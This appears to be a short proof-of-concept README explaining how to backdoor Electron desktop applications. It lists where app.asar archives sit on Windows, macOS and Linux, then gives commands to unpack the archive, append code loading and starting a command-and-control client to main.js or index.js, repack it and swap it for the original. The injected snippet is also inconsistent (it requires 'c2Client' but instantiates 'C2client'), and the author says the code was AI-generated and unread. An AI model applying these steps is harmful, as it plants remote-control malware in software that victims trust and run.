In most Electron applications, ASAR files are located in these directories:

Windows:

C:\Users\{Username}\AppData\Local\{AppName}\app.asar
C:\Users\{Username}\AppData\Local\{AppName}\resources\app.asar
C:\Program Files\{AppName}\resources\app.asar

macOS:

/Applications/{AppName}.app/Contents/Resources/app.asar

Linux:

/opt/{AppName}/resources/app.asar
~/.config/{AppName}/resources/app.asar

1. Install the asar utility:

npm install -g asar

2. Extract the ASAR file:

asar extract app.asar extracted/

3. Integrate the C2 client into the application:

Find the main entry point (often main.js or index.js in the root directory) and add the C2 client code at the end of the file.

// Add this at the end of the main.js or index.js file
const c2Client = require('./c2-client');
let client = new C2client();
client.start();

After modifying the files, repackage the ASAR:

asar pack extracted/ new-app.asar

Then replace the original ASAR file with your modified version.

This is just a PoC done quickly using A.I, I didn't even read the code so test this in an isolated enviornment and GGs